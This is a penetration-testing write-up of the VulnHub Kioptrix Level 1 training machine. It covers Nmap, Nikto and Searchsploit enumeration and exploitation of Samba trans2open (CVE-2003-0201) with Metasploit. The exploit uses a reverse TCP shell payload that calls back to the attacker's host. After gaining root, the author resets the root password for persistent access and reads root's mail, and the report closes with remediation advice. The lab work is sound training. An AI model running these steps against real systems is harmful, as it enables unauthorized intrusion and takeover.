

PENETRATION TESTING REPORT

Kioptrix: Level 1

VulnHub Boot-to-Root Lab — Hands-On Vulnerability Assessment & Exploitation

Prepared as part of independent offensive-security practice

Report Date: September 24, 2026

Classification: TLP:CLEAR — Lab Environment (VulnHub)

Executive Summary

This report documents a full penetration test performed against Kioptrix: Level 1, an intentionally vulnerable virtual machine published on VulnHub. The exercise was carried out end-to-end in an isolated lab network, from host discovery through to full root-level compromise and post-exploitation review, following a standard offensive-security methodology of reconnaissance, scanning, exploitation, and reporting.

The assessment identified multiple outdated and unpatched services exposed on the target, including an obsolete Apache/mod_ssl/OpenSSL stack, a legacy SSH configuration, and a critically vulnerable version of Samba (2.2.1a). Of these, the Samba service was the most severe finding: it was affected by the trans2open remote buffer overflow (CVE-2003-0201), which allowed complete, unauthenticated, root-level compromise of the system in a single step.

Exploitation was performed using the Metasploit Framework, resulting in an interactive root shell without requiring valid credentials or a separate privilege-escalation stage. Post-exploitation activity confirmed the impact of the compromise by reviewing filesystem contents and system mail, demonstrating the level of access and information disclosure an attacker would obtain in a real-world scenario.

The findings below are presented together with remediation guidance. While this target is a deliberately vulnerable training system, the underlying weaknesses — unsupported software versions, unnecessary exposed services, and weak protocol configurations — are representative of issues regularly seen in production environments and should be treated with the same rigor.

Engagement Information

Target	Kioptrix Level 1 (VulnHub)
Attacker host	Kali Linux
Target IP address	10.124.239.63
Attacker IP address	10.124.239.204
Engagement type	Black-box, unauthenticated, isolated lab network
Objective	Identify and exploit vulnerabilities to obtain root-level access
Tools used	Nmap, Nikto, smbclient, Searchsploit, Metasploit Framework

Methodology

The engagement followed a standard five-phase penetration testing methodology, summarized below.

- Pre-Engagement — confirming scope and authorization for testing.
- Reconnaissance — discovering the target host on the local network.
- Scanning & Enumeration — identifying open ports, running services, and known vulnerabilities.
- Exploitation — leveraging an identified vulnerability to gain unauthorized access.
- Post-Exploitation & Reporting — assessing impact and documenting findings with remediation guidance.

Phase 1 — Pre-Engagement

Kioptrix: Level 1 is a deliberately vulnerable machine distributed by VulnHub specifically for legal, hands-on security training. The lab was deployed entirely within an isolated virtual network with no connectivity to production systems, so no formal rules-of-engagement document was required beyond confirming the environment was self-contained.

Phase 2 — Reconnaissance

Before any scanning could take place, the target had to be located on the virtual network. Both the Kali attacking machine and the Kioptrix target were powered on within the same isolated segment, and host discovery was performed with netdiscover:

```
sudo netdiscover
```

This sweeps the local subnet and reports every live host that responds. The target was identified at 10.124.239.63. In cases where ARP-based discovery does not immediately return a result, an alternative is to log into the target console directly (using the default credentials distributed with the VM) and read the assigned address from the interface configuration or by generating outbound traffic, e.g. ping 8.8.8.8.

Phase 3 — Scanning and Enumeration

3.1 Port and Service Scanning — Nmap

A comprehensive Nmap scan was run against all 65,535 TCP ports to ensure no service was missed, particularly important on an older system where interesting services are not always bound to well-known ports:

```
nmap -A -p- -T4 10.124.239.63
```

The -A flag enables OS fingerprinting, service/version detection, and default NSE scripting; -p- scans the full port range; -T4 speeds up scan timing for a lab environment. The results are shown below.

```
(root@kali) - [ /home/kali ]
$ nmap -A -p- -T4 10.124.239.63
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 19:15 +0530
Nmap scan report for 10.124.239.63
Host is up (0.00064s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|   program version  port/proto  service
|   100000  2          111/tcp    rpcbind
|   100000  2          111/udp    rpcbind
|   100024  1          1024/tcp   status
|   100024  1          1024/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryN
```

Figure 1 – Full-port Nmap scan revealing SSH, HTTP, RPC, SMB, and HTTPS services with version banners.

The scan returned five open services of interest: OpenSSH 2.9p2 (with SSHv1 support) on 22/tcp, Apache httpd 1.3.20 with mod_ssl 2.8.4 and OpenSSL 0.9.6b on 80/tcp and 443/tcp, rpcbind on 111/tcp, and Samba smbd on 139/tcp. Every one of these components is well past end-of-life, which immediately narrowed the search for a viable entry point.

3.2 Web Server Assessment — Nikto

The web service was then assessed with Nikto to surface known CVEs and misconfigurations tied to the identified Apache/mod_ssl/OpenSSL versions:

```
nikto -h 10.124.239.63 -p 80
```

```
(root@kali) ~/home/kali
# nikto -h 10.124.239.63 -p 80
- Nikto v2.6.0

+ Target IP: 10.124.239.63
+ Target Hostname: 10.124.239.63
+ Target Port: 80
+ Platform: Linux/Unix
+ Start Time: 2026-09-24 19:17:25 (GMT5.5)

+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ ERROR: Failed to check for updates: 403
+ [999984] /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep 6 08:42:46
2001. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ No CGI Directories found (use "-C all" to force check all possible dirs). CGI tests skipped.
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/
HTTP/Headers/Strict-Transport-Security
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTT
P/Headers/X-Content-Type-Options
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Heade
rs/Referrer-Policy
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/He
aders/Permissions-Policy
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HT
TP/CSP
+ [600511] mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version).
+ [600050] Apache/1.3.20 appears to be outdated (current is at least 2.4.66).
+ [600595] OpenSSL/0.9.6b appears to be outdated (current is at least 3.6.0). OpenSSL 1.1.1w is current for 1.x and is support
ed via contract, and 3.0.12 for 3.0.x, and 3.1.4 for 3.1.x.
+ [800018] /: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution.
+ [800022] /: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill
any process on the system.
+ [800023] /: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi.
+ [800132] /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shel
l.
+ [999990] OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE .
+ [000434] /: HTTP TRACE method is active and replies which suggests the host is vulnerable to XST. See: https://owasp.org/www
-community/attacks/Cross_Site_Tracing
+ [001217] /usage/: Webalizer may be installed. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
+ [750500] /manual/: Directory indexing found.
+ [002114] /manual/: Web server manual found.
+ [750500] /icons/: Directory indexing found.
+ [003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ [006425] /test.php: This might be interesting.
^C
```

Figure 2 – Nikto scan against port 80 flagging outdated Apache, mod_ssl, and OpenSSL versions and several web-layer weaknesses.

Nikto confirmed that the web stack was significantly outdated and flagged several concrete issues: Apache 1.3.20 is vulnerable to denial-of-service and, on some builds, remote code execution; mod_ssl 2.8.4 is vulnerable to a remote buffer overflow; the HTTP TRACE method was enabled, which can facilitate cross-site tracing attacks; and directory indexing was active under /manual and /icons, leaking server structure and version details.

3.3 Summary of Enumeration Findings

The table below consolidates every service-level finding gathered from Nmap and Nikto, ranked by relative severity.

Service	Version / Detail	Severity	Notes
SSH	OpenSSH 2.9p2 (protocol 1.99), SSHv1 enabled	Medium	Legacy SSHv1 support; known cryptographic weaknesses in the protocol.
HTTP / HTTPS	Apache 1.3.20, mod_ssl 2.8.4, OpenSSL 0.9.6b	Critical	Unsupported stack; mod_ssl 2.8.x is vulnerable to a remote buffer overflow (CVE-2002-0082). Expired SSL certificate also observed.
HTTP	TRACE method enabled; directory indexing on /manual and /icons	Low	Aids reconnaissance and could support cross-site tracing style attacks.
RPC	rpcbind v2 on 111/tcp	Info	Standard portmapper service; no direct exploit path identified during this engagement.

Service	Version / Detail	Severity	Notes
SMB	Samba 2.2.1a	Critical	Vulnerable to the trans2open remote buffer overflow (CVE-2003-0201) — unauthenticated, root-level remote code execution.

Of all findings, the Samba trans2open vulnerability (CVE-2003-0201) stood out as the single most critical issue, as it offered a direct, unauthenticated path to root-level access without any intermediate privilege-escalation step.

3.4 SMB Enumeration

Port 139 indicated an active SMB (file-sharing) service. The exact Samba version was confirmed with smbclient:

```
smbclient -L 10.124.239.63
```

The service identified itself as Samba 2.2.1a — a version number that is directly tied to a well-known remote exploit. This was cross-referenced locally using Searchsploit:

```
searchsploit samba 2.2
```

Exploit Title	Path
Samba 2.0.x/2.2 - Arbitrary File Creation	unix/remote/20968.txt
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)	osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)	linux/remote/16321.rb
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)	bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation	linux/local/23674.txt
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)	linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)	osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)	solaris_sparc/remote/16330.rb
Samba 2.2.8 - Brute Force Method Remote Command Execution	linux/remote/55.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)	unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)	unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)	unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)	unix/remote/22471.txt
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)	linux/remote/9936.rb
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow	unix/remote/22356.c
Samba 2.2.x - Remote Buffer Overflow	linux/remote/7.pl
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution	multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py

Shellcodes: No Results

Figure 3 – Searchsploit results listing multiple public exploits for Samba 2.2.x, including the trans2open remote buffer overflow.

Searchsploit returned a well-documented remote buffer overflow in the trans2open function affecting Samba 2.2.x, corroborated by public vulnerability databases under CVE-2003-0201, along with a ready-made Metasploit module. This gave a clear, low-effort path to compromise.

Phase 4 — Exploitation

Several vulnerable services were identified during enumeration — including the mod_ssl remote overflow (CVE-2002-0082) and legacy OpenSSH weaknesses — but the Samba trans2open flaw was selected as the exploitation path for the following reasons:

- No authentication required — the vulnerability is reachable by any host that can talk to the SMB service, with no valid credentials needed.
- Direct root-level access — unlike the mod_ssl route, which typically yields a low-privileged shell requiring a further privilege-escalation step, this flaw hands over a root shell immediately because the vulnerable process runs as root.
- Efficiency — the Apache, OpenSSL, and OpenSSH findings would each have required compiling legacy exploit code, obtaining credentials, or chaining a separate privilege escalation; the Samba path was the most direct route to full compromise.

4.1 Exploit Setup in Metasploit

The Metasploit Framework was launched and searched for a module matching the trans2open vulnerability surfaced during enumeration:

```
msfconsole search trans2open
```

```
(root@kali)-[/home/kali]
# msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%          %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %%  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%          %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %%  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%  %  %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%% %%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+ -- ==[ metasploit v6.4.135-dev ]
+ -- ==[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
+ -- ==[ 433 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Figure 4 – Metasploit Framework console startup banner.

```
msf > search trans2open

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*
BSD x86)
1 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (L
linux x86)
2 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (M
ac OS X PPC)
3 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (S
olaris SPARC)
4 \ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
5 \ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'
```

Figure 5 – Search results returning the trans2open exploit modules for Linux, BSD, macOS, and Solaris targets.

The Linux-targeted module was selected, since it matched the operating system fingerprinted during the Nmap scan:

```
use exploit/linux/samba/trans2open show options set RHOST 10.124.239.63
```

```
msf exploit(linux/samba/trans2open) > set RHOST 10.124.239.63
RHOST => 10.124.239.63
msf exploit(linux/samba/trans2open) > set set RPORT 139
[!] Unknown datastore option: set.
set => RPORT 139
```

Figure 6 – Target host configured as RHOST within the trans2open exploit module.

By default, Metasploit assigns a generic payload to a new exploit module. This was reviewed and swapped for a reverse TCP shell, which causes the target to initiate a connection back to the attacking host once the exploit fires:


```
show payloads
```

```
msf exploit(linux/samba/trans2open) > show payloads

Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom	.	normal	No	Custom Payload
1	payload/generic/debug_trap	.	normal	No	Generic x86 Debug Trap
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell, Bind SSM (via AWS API)
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inline
5	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
6	payload/generic/tight_loop	.	normal	No	Generic x86 Tight Loop
7	payload/linux/x86/adduser	.	normal	No	Linux Add User
8	payload/linux/x86/chmod	.	normal	No	Linux Chmod
9	payload/linux/x86/exec	.	normal	No	Linux Execute Command
10	payload/linux/x86/meterpreter/bind_ipv6_tcp	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stage
11	payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stage with UUID Support (Linux x86)
12	payload/linux/x86/meterpreter/bind_nonx_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager (Linux x86)
13	payload/linux/x86/meterpreter/bind_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager (Linux x86)
14	payload/linux/x86/meterpreter/bind_tcp_uuid	.	normal	No	Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
15	payload/linux/x86/meterpreter/reverse_ipv6_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager (IPv6)
16	payload/linux/x86/meterpreter/reverse_nonx_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
17	payload/linux/x86/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
18	payload/linux/x86/meterpreter/reverse_tcp_uuid	.	normal	No	Linux Mettle x86, Reverse TCP Stager
19	payload/linux/x86/metsvc_bind_tcp	.	normal	No	Linux Meterpreter Service, Bind TCP
20	payload/linux/x86/metsvc_reverse_tcp	.	normal	No	Linux Meterpreter Service, Reverse TCP
21	payload/linux/x86/read_file	.	normal	No	Linux Read File
22	payload/linux/x86/shell/bind_ipv6_tcp	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23	payload/linux/x86/shell/bind_ipv6_tcp_uuid	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24	payload/linux/x86/shell/bind_nonx_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager (Linux x86)
25	payload/linux/x86/shell/bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager (Linux x86)
26	payload/linux/x86/shell/bind_tcp_uuid	.	normal	No	Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27	payload/linux/x86/shell/reverse_ipv6_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager (IPv6)
28	payload/linux/x86/shell/reverse_nonx_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
29	payload/linux/x86/shell/reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
30	payload/linux/x86/shell/reverse_tcp_uuid	.	normal	No	Linux Command Shell, Reverse TCP Stager
31	payload/linux/x86/shell_bind_ipv6_tcp (IPv6)	.	normal	No	Linux Command Shell, Bind TCP Inline

Figure 7 – Compatible payload list for the trans2open module, including generic and Meterpreter shell options.

```
set payload payload/linux/x86/shell_reverse_tcp show options
```

```
msf exploit(linux/samba/trans2open) > set payload payload/linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):
```

Name	Current Setting	Required	Description
RHOSTS	10.124.239.63	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

```

Payload options (linux/x86/shell_reverse_tcp):
```

Name	Current Setting	Required	Description
CMD	/bin/sh	yes	The command string to execute
LHOST	10.124.239.204	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Samba 2.2.x - BruteForce

Figure 8 – Final module configuration confirming RHOST, RPORT, payload, LHOST, and LPORT settings prior to launch.

4.2 Exploit Execution

With RHOST, RPORT, LHOST, and the payload all confirmed, the exploit was launched:

```
run
```

```
msf exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 10.124.239.204:4444
[*] 10.124.239.63:139 - Trying return address 0xbffffdfc ...
[*] 10.124.239.63:139 - Trying return address 0xbffffcfc ...
[*] 10.124.239.63:139 - Trying return address 0xbffffbfc ...
[*] 10.124.239.63:139 - Trying return address 0xbffffafc ...
[*] 10.124.239.63:139 - Trying return address 0xbffff9fc ...
[*] 10.124.239.63:139 - Trying return address 0xbffff8fc ...
[*] 10.124.239.63:139 - Trying return address 0xbffff7fc ...
[*] 10.124.239.63:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 5 opened (10.124.239.204:4444 → 10.124.239.63:1029) at 2026-09-24 19:24:01 +0530

[*] Command shell session 6 opened (10.124.239.204:4444 → 10.124.239.63:1030) at 2026-09-24 19:24:02 +0530
[*] Command shell session 7 opened (10.124.239.204:4444 → 10.124.239.63:1031) at 2026-09-24 19:24:03 +0530
[*] Command shell session 8 opened (10.124.239.204:4444 → 10.124.239.63:1032) at 2026-09-24 19:24:04 +0530
```

Figure 9 – Successful exploitation of the trans2open buffer overflow, resulting in multiple command shell sessions back to the attacking host.

The buffer overflow succeeded on the first attempt, returning several interactive command-shell sessions to the attacking host over the configured reverse-TCP listener.

4.3 Confirming Privilege Level

The privilege level of the newly obtained shell was verified immediately:

```
whoami
```

The command returned root, confirming that the Samba service itself was running with root privileges and that the vulnerability had delivered full administrative access in a single step, with no additional privilege-escalation stage required.

Phase 5 — Post-Exploitation

Obtaining a root shell is rarely the end objective of a real engagement; the post-exploitation phase is where the actual business impact of a compromise is demonstrated. At this stage an attacker holds full control of the host and could read sensitive files, alter system configuration, create backdoor accounts, harvest credentials, or use the box as a pivot point into the rest of the network. The following actions were carried out to illustrate this impact in a controlled manner.

5.1 Establishing Persistent Access

To demonstrate full ownership of the host and simplify returning to it later in the engagement, the root account password was changed directly from the obtained shell:

```
passwd
```

```
whoami
root
passwd
New password: ogechi
BAD PASSWORD: it is based on a dictionary word
Retype new password: ogechi
passwd: all authentication tokens updated successfully
```

Figure 10 – Root privilege confirmed via whoami, followed by a root password reset to establish persistent access.

5.2 Filesystem and Mail Review

The filesystem was reviewed to understand the host layout and to look for any residual artifacts left behind by prior activity on the box:

```
ls -la / ls -la /root
```



```
ls -la /
total 120
drwxr-xr-x 19 root root 1024 Sep 24 19:11 .
drwxr-xr-x 19 root root 1024 Sep 24 19:11 ..
-rw-r--r-- 1 root root 0 Sep 24 19:11 .autofsck
drwxr-xr-x 2 root root 2048 Sep 26 2009 bin
drwxr-xr-x 4 root root 1024 Sep 26 2009 boot
drwxr-xr-x 17 root root 77824 Sep 24 19:12 dev
drwxr-xr-x 41 root root 4096 Sep 24 19:26 etc
drwxr-xr-x 5 root root 4096 Sep 26 2009 home
drwxr-xr-x 2 root root 1024 Jun 21 2001 initrd
drwxr-xr-x 7 root root 3072 Sep 26 2009 lib
drwxr-xr-x 2 root root 12288 Sep 26 2009 lost+found
drwxr-xr-x 2 root root 1024 Aug 29 2001 misc
drwxr-xr-x 3 root root 1024 Sep 22 19:35 mnt
drwxr-xr-x 2 root root 1024 Aug 23 1999 opt
dr-xr-xr-x 58 root root 0 Sep 24 15:11 proc
drwxr-x-- 2 root root 1024 Sep 26 2009 root
drwxr-xr-x 2 root root 4096 Sep 26 2009 sbin
drwxrwxrwt 2 root root 1024 Sep 24 19:17 tmp
drwxr-xr-x 16 root root 4096 Sep 26 2009 usr
drwxr-xr-x 20 root root 1024 Sep 26 2009 var
```

Figure 11 – Root filesystem listing showing standard Linux directory structure.

```
ls -la /root
total 12
drwxr-x-- 2 root root 1024 Sep 26 2009 .
drwxr-xr-x 19 root root 1024 Sep 24 19:11 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw----- 1 root root 147 Oct 12 2009 .bash_history
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
-rw-r--r-- 1 root root 1303 Sep 26 2009 anaconda-ks.cfg
ls -la /var/mail
lrwxrwxrwx 1 root root 10 Sep 26 2009 /var/mail -> spool/mail
```

Figure 12 – Contents of /root and the /var/mail symbolic link pointing to /var/spool/mail.

The /var/mail path was found to be a symbolic link to /var/spool/mail, the standard location where Linux stores local system mail. Following that link and reading the root mailbox revealed a message left behind in the inbox:

```
cat /var/spool/mail/root
```

```

cat /var/spool/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
    for root@kioptrix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptrix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptrix.level1>
To: root@kioptrix.level1
Subject: About Level 2
Status: 0

Devices

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy ...

Network

From root  Tue Sep 22 19:40:48 2026
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id 68MNemG01136
    for root; Tue, 22 Sep 2026 19:40:48 -0400
Date: Tue, 22 Sep 2026 19:40:48 -0400
From: root <root@kioptrix.level1>
Message-Id: <202609222340.68MNemG01136@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1

##### LogWatch 2.1.1 Begin #####

##### LogWatch End #####

From root  Thu Sep 24 19:17:25 2026
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id 68ONHPh01123
    for root; Thu, 24 Sep 2026 19:17:25 -0400
Date: Thu, 24 Sep 2026 19:17:25 -0400
From: root <root@kioptrix.level1>
Message-Id: <202609242317.68ONHPh01123@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1

##### LogWatch 2.1.1 Begin #####

##### LogWatch End #####

```

Figure 13 – Root mailbox contents, including a message referencing progression to the next lab in the series.

This step demonstrates a broader point beyond the specific message content: once root access is obtained, an attacker gains visibility into any information stored on the host, including local mail, configuration files, and credentials that would otherwise be restricted. In a production environment, artifacts of this kind could just as easily contain operational secrets or sensitive user data.

Conclusion

Kioptrix: Level 1 illustrates, in a compact and reproducible way, the consequences of running unpatched, end-of-life software on an internet- or network-facing host. A single outdated Samba service was sufficient to move from zero access to full root compromise, with no credentials and no intermediate privilege-escalation step. The supporting web and SSH stack was equally out of date and would have offered additional, if less direct, avenues to the same outcome.

The exercise reinforced the practical value of a structured methodology — broad enumeration before exploitation, and prioritizing the exploit path with the lowest complexity and highest impact — as well as the importance of validating post-exploitation impact rather than stopping at initial access.

Recommendations

- Upgrade Samba from 2.2.1a to a currently supported release; this version is affected by the publicly known trans2open overflow (CVE-2003-0201).
- Restrict access to SMB (port 139/445) at the network layer so it is not reachable by arbitrary hosts, and disable SMBv1 entirely given its history of exploitation, including by ransomware such as WannaCry.
- Replace mod_ssl 2.8.4 and OpenSSL 0.9.6b with currently maintained versions; mod_ssl in particular should be included in routine patch management given its exposure to remote code execution (CVE-2002-0082).
- Upgrade Apache httpd from 1.3.20 to a supported branch, as the 1.3.x series has not received security updates since 2010.
- Upgrade OpenSSH from 2.9p2 and disable SSHv1 support entirely; only SSHv2 should be permitted, as SSHv1 contains known cryptographic weaknesses.
- Replace the expired SSL/TLS certificate with a currently valid, trusted certificate and configure automated renewal to prevent future lapses.
- Harden the Apache configuration to prevent system files from being disclosed through crafted URL paths (e.g. trailing-slash tricks).
- Disable the HTTP TRACE method (TraceEnable Off) as it is rarely required in production and can expose sensitive header information.
- Disable directory indexing globally to prevent unauthenticated browsing of directory contents and reduce information leakage about the file structure.

Appendix A — Tools Used

- Nmap 7.99 — host discovery, port scanning, service/version detection
- Nikto 2.6.0 — web server vulnerability and misconfiguration scanning
- smbclient — SMB service enumeration
- Searchsploit / Exploit-DB — offline exploit lookup
- Metasploit Framework 6.4.x — exploit development and execution